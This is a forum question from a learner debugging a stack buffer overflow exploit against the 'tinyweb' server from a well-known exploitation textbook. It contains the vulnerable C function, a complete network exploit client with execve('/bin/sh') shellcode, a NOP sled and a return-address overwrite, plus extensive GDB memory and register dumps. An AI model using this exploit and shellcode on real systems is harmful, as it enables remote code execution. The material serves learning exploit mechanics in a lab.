title: How to fix buffer overflow return address failure?
body: <p>I've been working on a buffer overflow from <a href="https://rads.stackoverflow.com/amzn/click/com/1593271441" rel="nofollow noreferrer" rel="nofollow noreferrer"><strong>Jon Erickson's Art of Exploitation</strong></a> for a few days now, and I don't understand why I'm getting a segmentation fault. As far as I can tell, the return address is being overwritten properly with an address in the NOP sled, but the program throws a segmentation fault every time it reaches the return instruction at the end of the stack frame.</p>
  
  <p>The vulnerable section of the code is the <code>length = recv_line(sockfd, request);</code> as the buffer size is never checked. The entire function taken from the tinyweb program follows-</p>
  
  <pre><code>void (handle_connection(int sockfd, struct sockaddr_in *client_addr_ptr)){
  unsigned char *ptr, request[500], resource[500];
  int fd, length;
  
  printf("[DEBUG] hc:1 sockfd is at %08x and contains 0x%08x\n", &amp;sockfd, sockfd);
  length = recv_line(sockfd, request);
  printf("[DEBUG] hc:2 sockfd is at %08x and contains 0x%08x\n", &amp;sockfd, sockfd);
  
  printf("Request %s:%d \"%s\"\n", inet_ntoa(client_addr_ptr-&gt;sin_addr), ntohs(client_addr_ptr-&gt;sin_port), request);
  printf("[DEBUG] hc:3 sockfd is at %08x and contains 0x%08x\n", &amp;sockfd, sockfd);
  
  ptr = strstr(request, " HTTP/");
  if(ptr == NULL){
      printf(" NOT HTTP!\n");
  } else {
      *ptr = 0;
      ptr = NULL;
      if(strncmp(request, "GET ", 4) == 0)
          ptr = request + 4;
      if(strncmp(request, "HEAD ", 5) ==0)
          ptr = request + 5;
  
      if(ptr == NULL){
          printf("\tUNKNOWN REQUEST!");
      } 
      else {
          if(ptr[strlen(ptr) -1] == '/')
              strcat(ptr, "index.html");
          strcpy(resource, WEBROOT);
          strcat(resource, ptr);
          fd = open(resource, O_RDONLY, 0);
          printf("\tOpening \'%s\'\t", resource);
          if(fd == -1){
              printf(" 404 Not Found\n");
              send_string(sockfd, "HTTP/1.0 404 NOT FOUND\r\n");
              send_string(sockfd, "Server: Tiny webserver\r\n\r\n");
              send_string(sockfd, "&lt;html&gt;&lt;head&gt;&lt;title&gt;404 Not Found&lt;/title&gt;&lt;/head&gt;");
              send_string(sockfd, "&lt;body&gt;&lt;h1&gt;URL not found&lt;/h1&gt;&lt;/body&gt;&lt;/html&gt;\r\n");
          } 
          else{
              printf(" 200 OK\n");
              send_string(sockfd, "HTTP/1.0 200 OK\r\n");
              send_string(sockfd, "Server Tiny webserver\r\n\r\n");
              if(ptr == request + 4){
                  if( (length = get_file_size(fd)) == -1)
                      fatal("getting resource file size");
                  if( (ptr = (unsigned char *) malloc(length)) == NULL)
                      fatal("allocating memory for reading resource");
                  read(fd, ptr, length);
                  send(sockfd, ptr, length, 0);
                  free(ptr);
              }
              close(fd);
          }
      }
  }
  printf("Shutting down socket.\n");
  shutdown(sockfd, SHUT_RDWR);
  printf("[DEBUG] hc:4 sockfd is at %08x and contains 0x%08x\n", &amp;sockfd, sockfd);
  }
  </code></pre>
  
  <p>The exploit code follows below-</p>
  
  <pre><code>#include &lt;stdio.h&gt;
  #include &lt;stdlib.h&gt;
  #include &lt;string.h&gt;
  #include &lt;sys/socket.h&gt;
  #include &lt;netinet/in.h&gt;
  #include &lt;arpa/inet.h&gt;
  #include &lt;netdb.h&gt;
  
  #include "hacking.h"
  #include "hacking-network.h"
  
  char shellcode[]=
  "\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68"
  "\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89"
  "\xe1\xcd\x80";
  
  #define OFFSET 524
  #define RETADDR 0xbfdaf708
  
  int main(int argc, char *argv[]){
  int i, sockfd, buflen; //, count;
  struct hostent *host_info;
  struct sockaddr_in target_addr;
  unsigned char buffer[600];
  
  if(argc &lt; 1){
      printf("Usage: %s &lt;hostname&gt; &lt;# of A's to insert&gt;\n", argv[0]);
      exit(1);
  }
  
  if((host_info = gethostbyname(argv[1])) == NULL)
      fatal("looking up hostname");
  
  if((sockfd = socket(PF_INET, SOCK_STREAM, 0)) == -1)
      fatal("in socket");
  
  //count = atoi(argv[2]);
      //printf("Count: %d\n", count);
  target_addr.sin_family = AF_INET;
  target_addr.sin_port = htons(81);
  target_addr.sin_addr = *((struct in_addr *)host_info-&gt;h_addr);
  memset(&amp;(target_addr.sin_zero), '\0', 8);
  
  if(connect(sockfd, (struct sockaddr *)&amp;target_addr, sizeof(struct sockaddr)) == -1)
      fatal("connecting to target server");
  
  bzero(buffer, 600); 
  memset(buffer, '\x90', OFFSET);
  *((u_int *)(buffer + OFFSET)) = RETADDR;
  memcpy(buffer+300, shellcode, strlen(shellcode));
  strcat(buffer, "\r\n"); 
  printf("Exploit  buffer:\n");
  dump(buffer, strlen(buffer));
  send_string(sockfd, buffer);
  
  exit(0);
  }
  </code></pre>
  
  <p>Here is the information from GDB</p>
  
  <pre><code>:~/programs/c/exec$ ps aux | grep tinyweb
           2747  0.1  2.3  97432 48012 pts/1    Sl   Dec15   2:37 gedit tinyweb_exploit.c
  root     12444  0.0  0.0   1688   248 pts/2    S+   18:32   0:00 ./tinyweb
           12456  0.0  0.0   4012   768 pts/0    S+   18:33   0:00 grep --color=auto tinyweb
  :~/programs/c/exec$ sudo gdb -q --pid=12444 --symbols=./tinyweb
  
  warning: not using untrusted file "/home/sam/.gdbinit"
  Reading symbols from /home/sam/programs/c/exec/tinyweb...done.
  Attaching to process 12444
  Load new symbol table from "/home/sam/programs/c/exec/tinyweb"? (y or n) y
  Reading symbols from /home/sam/programs/c/exec/tinyweb...done.
  Reading symbols from /lib/libc.so.6...(no debugging symbols found)...done.
  Loaded symbols for /lib/libc.so.6
  Reading symbols from /lib/ld-linux.so.2...(no debugging symbols found)...done.
  Loaded symbols for /lib/ld-linux.so.2
  0x001c3416 in __kernel_vsyscall ()
  (gdb) break 74
  Breakpoint 1 at 0x8048e8c: file ../code/tinyweb.c, line 74.
  (gdb) c
  Continuing.
  
  Breakpoint 1, handle_connection (sockfd=4, client_addr_ptr=0xbfcee1e4) at ../code/tinyweb.c:74
  74      printf("Request %s:%d \"%s\"\n", inet_ntoa(client_addr_ptr-&gt;sin_addr), 
      ntohs(client_addr_ptr-&gt;sin_port), request);
  (gdb) x/16xw request + 500
  0xbfcee1a4: 0x0099bad0  0x00aad4e0  0x0000000f  0xbfcee1c4
  0xbfcee1b4: 0x00aacff4  0xbfcee218  0x08048e2f  0x00000004
  0xbfcee1c4: 0xbfcee1e4  0x00000004  0xbfcee204  0x00000004
  0xbfcee1d4: 0x0804aff4  0xbfcee1e8  0x08048658  0x00000010
  (gdb) bt
  #0  handle_connection (sockfd=4, client_addr_ptr=0xbfcee1e4) at ../code/tinyweb.c:74
  #1  0x08048e2f in main () at ../code/tinyweb.c:60
  (gdb) x/x request
  0xbfcedfb0: 0x20544547
  (gdb) p /x 0xbfcee1b4 + 8
  $5 = 0xbfcee1bc
  (gdb) p $5 - 0xbfcedfb0
  $6 = 524
  (gdb) p /x 0xbfcedfb0 + 200
  $7 = 0xbfcee078
  (gdb) c
  Continuing.
  
  Breakpoint 1, handle_connection (sockfd=13, client_addr_ptr=0xbfcee1e4) at ../code/tinyweb.c:74
  74      printf("Request %s:%d \"%s\"\n", inet_ntoa(client_addr_ptr-&gt;sin_addr), 
  ntohs(client_addr_ptr-&gt;sin_port), request);
  (gdb) x/150xw request
  0xbfcedfb0: 0x90909090  0x90909090  0x90909090  0x90909090
  0xbfcedfc0: 0x90909090  0x90909090  0x90909090  0x90909090
  0xbfcedfd0: 0x90909090  0x90909090  0x90909090  0x90909090
  0xbfcedfe0: 0x90909090  0x90909090  0x90909090  0x90909090
  0xbfcedff0: 0x90909090  0x90909090  0x90909090  0x90909090
  0xbfcee000: 0x90909090  0x90909090  0x90909090  0x90909090
  0xbfcee010: 0x90909090  0x90909090  0x90909090  0x90909090
  0xbfcee020: 0x90909090  0x90909090  0x90909090  0x90909090
  0xbfcee030: 0x90909090  0x90909090  0x90909090  0x90909090
  0xbfcee040: 0x90909090  0x90909090  0x90909090  0x90909090
  0xbfcee050: 0x90909090  0x90909090  0x90909090  0x90909090
  0xbfcee060: 0x90909090  0x90909090  0x90909090  0x90909090
  0xbfcee070: 0x90909090  0x90909090  0x90909090  0x90909090
  0xbfcee080: 0x90909090  0x90909090  0x90909090  0x90909090
  0xbfcee090: 0x90909090  0x90909090  0x90909090  0x90909090
  0xbfcee0a0: 0x90909090  0x90909090  0x90909090  0x90909090
  0xbfcee0b0: 0x90909090  0x90909090  0x90909090  0x90909090
  0xbfcee0c0: 0x90909090  0x90909090  0x90909090  0x90909090
  0xbfcee0d0: 0x90909090  0x90909090  0x90909090  0xdb31c031
  0xbfcee0e0: 0xb099c931  0x6a80cda4  0x6851580b  0x68732f2f
  0xbfcee0f0: 0x69622f68  0x51e3896e  0x8953e289  0x9080cde1
  0xbfcee100: 0x90909090  0x90909090  0x90909090  0x90909090
  0xbfcee110: 0x90909090  0x90909090  0x90909090  0x90909090
  0xbfcee120: 0x90909090  0x90909090  0x90909090  0x90909090
  0xbfcee130: 0x90909090  0x90909090  0x90909090  0x90909090
  0xbfcee140: 0x90909090  0x90909090  0x90909090  0x90909090
  0xbfcee150: 0x90909090  0x90909090  0x90909090  0x90909090
  0xbfcee160: 0x90909090  0x90909090  0x90909090  0x90909090
  0xbfcee170: 0x90909090  0x90909090  0x90909090  0x90909090
  0xbfcee180: 0x90909090  0x90909090  0x90909090  0x90909090
  0xbfcee190: 0x90909090  0x90909090  0x90909090  0x90909090
  0xbfcee1a0: 0x90909090  0x90909090  0x90909090  0x00000211
  0xbfcee1b0: 0x90909090  0x90909090  0x90909090  0xbfcee078
  0xbfcee1c0: 0x0000000d  0xbfcee1e4  0x00000005  0xbfcee204
  0xbfcee1d0: 0x00000004  0x0804aff4  0xbfcee1e8  0x08048658
  0xbfcee1e0: 0x00000010  0xd4920002  0x0100007f  0x00000000
  0xbfcee1f0: 0x00000000  0x51000002  0x00000000  0x00000000
  0xbfcee200: 0x00000000  0x00000001
  (gdb) c
  Continuing.
  
  Program received signal SIGSEGV, Segmentation fault.
  0x080491b1 in handle_connection (sockfd=Cannot access memory at address 0x90909098
  ) at ../code/tinyweb.c:125
  125 }
  (gdb) i r eip
  eip            0x80491b1    0x80491b1 &lt;handle_connection+893&gt;
      (gdb) x/i 0x080491b1
  =&gt; 0x80491b1 &lt;handle_connection+893&gt;:   ret    
  </code></pre>
  
  <p>The tinyweb program is started, and then GDB is attached to the program. A breakpoint is set to determine where the buffer is located in memory (request @ <code>0xbfcedfb0</code>). <code>bt</code> is used to determine what the current return address is and its location (ret address <code>0x08048e2f</code> located at <code>0xbfcee1bc</code>) The return address is determined to be 524 bytes from the buffer. The exploit uses a return address 200 bytes into the buffer, and puts the shellcode 300 bytes in. After the exploit is run, the buffer is examined, containing the NOP sled, the shellcode, and clearly showing the original return address at <code>0xbfcee1bc</code> which had <code>0x08048e2f</code> now containing the address <code>0xbfcee078</code>, which is clearly an address in the buffer pointing to a NOP. However, when the program is continued, it throws a segmentation fault. After the segmentation fault the instruction pointer is examined, pointing to a line in the handle connection stack frame. When examined, this shows the return instruction. </p>
  
  <p>Why is it throwing a segmentation fault at the return instruction when there is a valid memory address placed there for it to return to??</p>
  
  <h2>Edit 1</h2>
  
  <p>Im embarrassed I didn't notice that shellcode bit earlier. Then again, I haven't gotten the earlier exploits to work either yet courtesy of ASLR, so I never looked that closely at the shellcode. Anyways here is what I changed it to-</p>
  
  <pre><code>char shellcode[]=
  "\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68"
  "\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x89\xe3\x51\x89\xe2\x53\x89\xe1"
  "\xcd\x80";
  
  ............1.1.1......j.XQh//bin/sh..Q..S.....
  </code></pre>
  
  <p>Unfortunately, Im looking at the same issue. Ive got some more GDB shown below. As best I can tell, when the RET is called, somehow the sockfd variable is gets screwed up, but as the DEBUG prints show, the sockfd doesnt get changed. Ive tried stepping through the instructions at the end to see whats going on, but that hasnt revealed much...</p>
  
  <pre><code>[DEBUG] hc:3 sockfd is at bfefcae0 and contains 0x0000000d
   NOT HTTP!
   Shutting down socket.
  [DEBUG] hc:4 sockfd is at bfefcae0 and contains 0x0000000d
  Segmentation fault (core dumped)
  
  
  
  (gdb) list 120
  115                     send(sockfd, ptr, length, 0);
  116                     free(ptr);
  117                 }
  118                 close(fd);
  119             }
  120         }
  121     }
  122     printf("Shutting down socket.\n");
  123     shutdown(sockfd, SHUT_RDWR);
  124     printf("[DEBUG] hc:4 sockfd is at %08x and contains 0x%08x\n", &amp;sockfd, sockfd); 
  125 }
  126 
  127 int get_file_size(int fd){
  128     struct stat stat_struct;
  129     
  130     if(fstat(fd, &amp;stat_struct) == -1)
  131         return -1;
  132     return (int) stat_struct.st_size;
  133 }
  134     
  (gdb) break 74
  Breakpoint 1 at 0x8048e8c: file ../code/tinyweb.c, line 74.
  (gdb) break 120
  Breakpoint 2 at 0x804916f: file ../code/tinyweb.c, line 120.
  
  Breakpoint 2, handle_connection (sockfd=13, client_addr_ptr=0xbfefcb04) at ../code/tinyweb.c:122
  122     printf("Shutting down socket.\n");
  (gdb) x/170xw request
  0xbfefc8d0: 0x90909090  0x90909090  0x90909090  0x90909090
  ....Output Trimmed....
  0xbfefc990: 0x90909090  0x90909090  0x90909090  0x90909090
                                      ^  
  ...Output Trimmed....               |________________________RET address location in NOP sled
  
  0xbfefc9f0: 0x90909090  0x90909090  0x90909090  0xdb31c031
  0xbfefca00: 0xb099c931  0x6a80cda4  0x6851580b  0x69622f2f
  0xbfefca10: 0x68732f6e  0x8951e389  0xe18953e2  0x909080cd
  0xbfefca20: 0x90909090  0x90909090  0x90909090  0x90909090
  0xbfefca30: 0x90909090  0x90909090  0x90909090  0x90909090
  0xbfefca40: 0x90909090  0x90909090  0x90909090  0x90909090
  0xbfefca50: 0x90909090  0x90909090  0x90909090  0x90909090
  0xbfefca60: 0x90909090  0x90909090  0x90909090  0x90909090
  0xbfefca70: 0x90909090  0x90909090  0x90909090  0x90909090
  0xbfefca80: 0x90909090  0x90909090  0x90909090  0x90909090
  0xbfefca90: 0x90909090  0x90909090  0x90909090  0x90909090
  0xbfefcaa0: 0x90909090  0x90909090  0x90909090  0x90909090
  0xbfefcab0: 0x90909090  0x90909090  0x90909090  0x90909090
  0xbfefcac0: 0x90909090  0x00000000  0x90909090  0x00000211
  
  0xbfefcad0: 0x90909090  0x90909090  0x90909090  0xbfefc998&lt;= RET address
  
  0xbfefcae0: 0x0000000d  0xbfefcb04  0x00000006  0xbfefcb24
  0xbfefcaf0: 0x00000004  0x0804aff4  0xbfefcb08  0x08048658
  0xbfefcb00: 0x00000010  0xd9a40002  0x0100007f  0x00000000
  0xbfefcb10: 0x00000000  0x51000002  0x00000000  0x00000000
  0xbfefcb20: 0x00000000  0x00000001  0x00000006  0x00000003
  0xbfefcb30: 0x080491f0  0x00000000  0xbfefcbb8  0x00126ce7
  0xbfefcb40: 0x00000001  0xbfefcbe4  0xbfefcbec  0xb7810848
  0xbfefcb50: 0xbfefcc4c  0xffffffff  0x00b0dff4  0x08048497
  0xbfefcb60: 0x00000001  0xbfefcba0  0x00aff136  0x00b0ead0
  0xbfefcb70: 0xb7810b28  0x00268ff4
  
  (gdb) bt
  #0  handle_connection (sockfd=13, client_addr_ptr=0xbfefcb04) at ../code/tinyweb.c:122
  #1  0xbfefc998 in ?? ()
  Backtrace stopped: previous frame inner to this frame (corrupt stack?)
  
  (gdb) x/20i $eip
  =&gt; 0x804916f &lt;handle_connection+827&gt;:   movl   $0x804985b,(%esp)
     0x8049176 &lt;handle_connection+834&gt;:   call   0x804880c &lt;puts@plt&gt;
     0x804917b &lt;handle_connection+839&gt;:   mov    0x8(%ebp),%eax
     0x804917e &lt;handle_connection+842&gt;:   movl   $0x2,0x4(%esp)
     0x8049186 &lt;handle_connection+850&gt;:   mov    %eax,(%esp)
     0x8049189 &lt;handle_connection+853&gt;:   call   0x804868c &lt;shutdown@plt&gt;
     0x804918e &lt;handle_connection+858&gt;:   mov    0x8(%ebp),%edx
     0x8049191 &lt;handle_connection+861&gt;:   mov    $0x8049874,%eax
     0x8049196 &lt;handle_connection+866&gt;:   mov    %edx,0x8(%esp)
     0x804919a &lt;handle_connection+870&gt;:   lea    0x8(%ebp),%edx
     0x804919d &lt;handle_connection+873&gt;:   mov    %edx,0x4(%esp)
     0x80491a1 &lt;handle_connection+877&gt;:   mov    %eax,(%esp)
     0x80491a4 &lt;handle_connection+880&gt;:   call   0x804878c &lt;printf@plt&gt;
     0x80491a9 &lt;handle_connection+885&gt;:   add    $0x414,%esp
     0x80491af &lt;handle_connection+891&gt;:   pop    %ebx
     0x80491b0 &lt;handle_connection+892&gt;:   pop    %ebp
     0x80491b1 &lt;handle_connection+893&gt;:   ret    
     0x80491b2 &lt;get_file_size&gt;:   push   %ebp
     0x80491b3 &lt;get_file_size+1&gt;: mov    %esp,%ebp
     0x80491b5 &lt;get_file_size+3&gt;: sub    $0x78,%esp
  (gdb) s
  123     shutdown(sockfd, SHUT_RDWR);
  (gdb) x/x &amp;sockfd
  0xbfefcae0: 0x0000000d
  (gdb) s
  124     printf("[DEBUG] hc:4 sockfd is at %08x and contains 0x%08x\n", &amp;sockfd, sockfd);
  (gdb) i r eip
  eip            0x804918e    0x804918e &lt;handle_connection+858&gt;
  (gdb) s
  125 }
  (gdb) x/10i $eip
  =&gt; 0x80491a9 &lt;handle_connection+885&gt;:   add    $0x414,%esp
     0x80491af &lt;handle_connection+891&gt;:   pop    %ebx
     0x80491b0 &lt;handle_connection+892&gt;:   pop    %ebp
     0x80491b1 &lt;handle_connection+893&gt;:   ret    
     0x80491b2 &lt;get_file_size&gt;:   push   %ebp
     0x80491b3 &lt;get_file_size+1&gt;: mov    %esp,%ebp
     0x80491b5 &lt;get_file_size+3&gt;: sub    $0x78,%esp
     0x80491b8 &lt;get_file_size+6&gt;: lea    -0x60(%ebp),%eax
     0x80491bb &lt;get_file_size+9&gt;: mov    %eax,0x4(%esp)
     0x80491bf &lt;get_file_size+13&gt;:    mov    0x8(%ebp),%eax
  (gdb) si
  0x080491af  125 }
  (gdb) i r eip
  eip            0x80491af    0x80491af &lt;handle_connection+891&gt;
  (gdb) si
  0x080491b0  125 }
  (gdb) i r eip
  eip            0x80491b0    0x80491b0 &lt;handle_connection+892&gt;
  (gdb) info registers
  eax            0x3b 59
  ecx            0xbfefc6a8   -1074805080
  edx            0x26a360 2532192
  ebx            0x90909090   -1869574000
  esp            0xbfefcad8   0xbfefcad8
  ebp            0xbfefcad8   0xbfefcad8
  esi            0x0  0
  edi            0x0  0
  eip            0x80491b0    0x80491b0 &lt;handle_connection+892&gt;
  eflags         0x200286 [ PF SF IF ID ]
  cs             0x73 115
  ss             0x7b 123
  ds             0x7b 123
  es             0x7b 123
  fs             0x0  0
  gs             0x33 51
  (gdb) si
  0x080491b1 in handle_connection (sockfd=Cannot access memory at address 0x90909098
  ) at ../code/tinyweb.c:125
  125 }
      (gdb) x/x sockfd
      Cannot access memory at address 0x90909098
      (gdb) x/x &amp;sockfd
      0x90909098: Cannot access memory at address 0x90909098
  </code></pre>
  
  <p>Any thoughts as to whats going on?</p>